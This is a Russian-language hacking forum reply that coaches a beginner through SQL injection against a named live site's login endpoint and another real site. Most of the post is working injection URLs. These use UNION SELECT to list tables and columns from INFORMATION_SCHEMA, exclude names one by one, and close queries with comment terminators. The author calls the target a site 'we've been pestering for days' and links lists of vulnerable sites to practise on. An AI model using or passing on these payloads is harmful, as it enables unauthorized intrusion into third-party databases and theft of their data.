Наверно тебе стоит почитать статеек/книжек/манов по mysql. Но они такие скучные, так что я не буду этого советовать. =)
[QUOTE=ktulx;135722]
Всё тот же пример
[CODE]http://infored.ru/login/check_user/
[email protected]/12345678'%20union%20select%201,COLUMN_NAME,3,4,5,6,7%20from%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20TABLE_NAME='owners'%20and%20'1'='1[/CODE]
проходит и даёт мне название столбца — id
Если добавляю «LIMIT 0,1» — ошибка. Почему? В таком случае как узнать и как вы узнали имена остальных столбцов? Брут?
[/quote]Я ж уже писал — плохой это пример. Лучше найди хороший и практикуйся на нем :)
Согласно ээ… спецификации sql, [B]limit[/B] должен быть после [B]where[/B]. Тут так не выйдет, потому что [B]where[/B] с '1'='1 должен стоять вконце и закрывать кавычку. Вот оно и ругается. Перебрать можно так:
http://infored.ru/login/check_user/[email protected]/12345678' union select 1,COLUMN_NAME,3,4,5,6,7 from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='owners' and column_name!='id' and '1'='1
http://infored.ru/login/check_user/[email protected]/12345678' union select 1,COLUMN_NAME,3,4,5,6,7 from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='owners' and column_name!='id' and column_name!='cid' and '1'='1
и т.д.
[QUOTE=ktulx;135722]
[CODE]http://infored.ru/login/check_user/
[email protected]/12345678'%20union%20select%201,TABLE_NAME,3,4,5,6,7%20from%20INFORMATION_SCHEMA.TABLES%20and%20'1'='1[/CODE]
не проходит совсем. почему? Доступ к information_schema есть. Как тогда таблицы находить? Тоже перебор?
[/quote]Ну… все из-за тех же непрочитанных манов по mysql. :)
Условие должно быть в [B]where[/B], а [B]and[/B] — это если больше одного условия. Правильный вариант:
[CODE]http://infored.ru/login/check_user/
[email protected]/12345678' union select 1,TABLE_NAME,3,4,5,6,7 from INFORMATION_SCHEMA.TABLES where '1'='1[/CODE]Дальше там будет штук 16 скучных стандартных таблиц. Убрать которые можно так:
[CODE]http://infored.ru/login/check_user/
[email protected]/12345678' union select 1,TABLE_NAME,3,4,5,6,7 from INFORMATION_SCHEMA.TABLES where table_schema!='information_schema' and '1'='1[/CODE]
Ну а остальные уже перебирать, как и столбцы:
[CODE]http://infored.ru/login/check_user/
[email protected]/12345678' union select 1,TABLE_NAME,3,4,5,6,7 from INFORMATION_SCHEMA.TABLES where table_name!='battles' and table_schema!='information_schema' and '1'='1[/CODE]
[QUOTE=ktulx;135722]
И ещё такой размытый вопрос: как мне, будучи нубом, отличить ситуацию с фильтрацией определённого символа от чего то еще (например от ошибки с моей стороны)? Можно как то на 100% убедиться что какой то символ фильтруется?
[/quote]Хм, будучи нубом наверно никак. Просто нужно понимать, какой запрос правильный, а какой — нет. И если правильный запрос не проходит, значит имеет место фильтрация или что-то типо того.
[QUOTE=ktulx;135722]
Ну и вот из нового
[CODE]http://сайт/2009/index.php?id=13'[/CODE]
получаю ошибку базы данных.
делаю так
[CODE]http://сайт/2009/index.php?id=13'%20union%20select%201,2%20&&%20'1'='1[/CODE]
все кавычки закрыты, всё красиво, но получаю ту же ошибку, вместо сообщения о неверном количестве столбцов.
[/quote]Даже не знаю, откуда ты такой запрос взял. =)
Для того, чтобы отрезать кавычку обычно юзают
/*,
+--+ или
%23. На том сайте, который мы уже который день доканываем, такое не проходит. Поэтому там мы используем
and '1'='1.
Вобщем вот тебе правильные запросы:
[code]
сайт/2009/index.php?id=13' union select 1,2/*
или
сайт/2009/index.php?id=13' union select 1,2 —
[/code]В нормальных скулях можно юзать плюcы, вместо пробелов, оно так красивей выходит =)
http://сайт/2009/index.php?id=13'+union+select+1,2/*
может там и не нужна кавычка после цифры:
http://сайт/2009/index.php?id=13+union+select+1,2/*
Если уж так хочется
and '1'='1, то нужно знать хотя бы одну существующую там таблицу. Т.е.
http://сайт/2009/index.php?id=13'+union+select+1,2+from+information_schema.tables+where+'1'='1
Если это 4-й mysql, там не будет information_schema.
Ну про то, что столбы лучше перебирать через
order+by+1, я рассказывать не буду, манов по этому и так достаточно.
[QUOTE=ktulx;135722]
а вот так
[CODE]http://сайт/2009/index.php?id=13'+'2'='2[/CODE]
на оформленной странице вылазит «Error in query 1c»
[/quote]Ээ… 1с. Может там и не sql-inj? Без урла сложно что-то сказать.
[QUOTE=ktulx;135722]
Кстати как бы я ни прописывал пробелы (+, %20, /**/ или просто пробел), в сообщении об ошибке они не переводятся собственно в пробелы. Это что то значит?[/QUOTE]Ну ты можешь что-то делать не так или пробелы могут фильтроваться или это не sql-inj. Хз вобщем. :)
Кстати скули для практики можно брать [URL=«
forum.antichat.ru/threadedpost2739242.html»]отсюда[/URL]. Там же можно найти статьи по теме, например [URL=«
forum.antichat.ru/thread43966.html»]вот[/URL].
Ну вот… пока я тут распинался, меня уже опередили. =(